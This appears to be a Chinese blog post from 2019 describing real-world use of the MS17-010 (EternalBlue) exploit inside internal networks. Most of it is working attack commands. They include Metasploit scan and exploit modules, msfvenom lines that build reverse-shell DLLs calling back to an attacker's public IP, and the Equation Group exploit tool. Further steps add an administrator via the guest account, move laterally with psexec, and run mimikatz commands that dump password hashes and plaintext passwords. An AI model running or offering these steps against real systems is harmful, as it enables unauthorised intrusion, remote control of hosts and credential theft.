美文网首页TIDE_网络安全
内网渗透之ms17-010

内网渗透之ms17-010

作者: CSeroad | 来源:发表于2019-07-17 14:16 被阅读266次

前言

在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,数次没有反弹成功。基于此,到底如何成功利用ms17-010

ms17_010_eternalblue模块

在msf成功接收session之后,添加路由

run autoroute -p 
image.png

然后使用ms17-010相关的模块进行探测是否存在该漏洞。

use  auxiliary/scanner/smb/smb_ms17_010
set  rhosts 192.168.100.40-50 
set  threads 3
image.png

尝试利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.100.46
set lhost 144.30.xxx.xxx

LHOST配置为公网IP

image.png image.png

可以看到success。漏洞是可以利用的,但始终没有session。不知道什么原因。
参考资料:利用公网Msf+MS17010跨网段攻击内网
笔者在本地搭建环境,也是同样的结果。尝试更改payload为

windows/x64/meterpreter/bind_tcp 

bind_tcp攻击者去连接,容易被防火墙和杀毒发现
可以成功生成session,但并不稳定,且在run的过程中非常容易导致本来的session died

测试环境 实战环境

方程式漏洞利用工具

在实际使用msf的ms17_010_eternalblue模块时,笔者观察到有几个弊端。
1.session 很容易died
2.ms17_010_eternalblue模块利用起来非常耗时
3.无法利用成功
有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。
所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。
参考资料:萌新初试MS17-010方程式漏洞
工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候,调用x64.dll动态链接库,反弹到公网IP。原理和fb.py一样。

实战利用

笔者通过ew代理进内网后,在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合,威力巨大。成功利用ms17-010


网安永恒之蓝检测工具 方程式漏洞利用工具

windows server 2008

对于windows server 2008 ,msfvenom生成x64.dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=144.30.xxx.xxx LPORT=12345 -f dll > x64.dll

msf配置

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lport 12345
set lhost 144.30.xxx.xxx

将该x64.dll替换到方程式利用工具下面。
只需要更换目标的IP,就可以获取session。

image.png

windows server 2003

对于windows server 2003 ,msfvenom生成x86.dll文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=144.30.xxx.xxx LPORT=12345 -f dll > x86.dll

msf配置

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lport 12345
set lhost 144.30.xxx.xxx
image.png

进一步利用的一些命令

getuid
run   post/windows/gather/checkvm 
run   post/windows/manage/migrate
load  mimikatz
mimikatz_command -f sekurlsa::searchPasswords
image.png

实际测试发现这种session非常稳定。不会轻易go die

扩展

实际测试server 2003的ms17-010时,有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。
所以笔者选择一种稳定可靠一些的办法。
先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]

参考资料 Metasploit 「永恒之蓝」两种模块的利弊

use auxiliary/admin/smb/ms17_010_command
image.png

system的权限可以直接激活guest用户添加管理员组。

use exploit/windows/smb/ms17_010_psexec 
set rhosts  192.168.100.2
set SMBUser  guest
set SMBPass  123456
run

注意:使用ms17_010_psexec需要指定管理员的用户名、密码,否则没有session

image.png

同样的操作,载入mimikatz,读取管理员密码。

mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
image.png image.png

相关文章

  • 内网渗透之ms17-010

    前言 在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,...

  • 内网渗透之纵深

    前言 在一次测试中发现某系统存在SQL注入漏洞。且IIS可暴露绝对路径。 使用--os-shell命令,填写绝对路...

  • 内网渗透

    内网渗透

  • 当我讲起内网渗透,他们都弃我而去了

    前言在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。 环境搭建...

  • 网络嗅探

    1、 (1)Why要内网渗透:安全机制严,正面突破难;内网间信任,攻击更容易。 (2)内网渗透技术:嗅探、假消息攻...

  • 内网渗透之http隧道

    前言 最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭...

  • 内网渗透之信息收集

    0x01 whoami /user && whoami /priv 查看当前用户名&&查看当前用户特权名(查看当前...

  • 内网渗透之网络代理

    网络拓扑图 1、socks代理 1.1 CS 图形化的操作,非常方便 1.2 msf(基于msf6) 在上线以后进...

  • 实战——红日ATT&CK系列靶场(一)

    前言: 在最近一年的工作中,很少能接触到内网渗透的工作,为了进一步锻炼内网渗透的能力,理清内网渗透中的思路及攻击手...

  • 基于MetaSploit内网穿透渗透测试

    自己在无聊捣鼓windows渗透的时候想到以往都是基于内网渗透,想要更加自由地进行渗透就需要内网穿透实现可以任意控...

网友评论

    本文标题:内网渗透之ms17-010

    本文链接:https://www.haomeiwen.com/subject/payflctx.html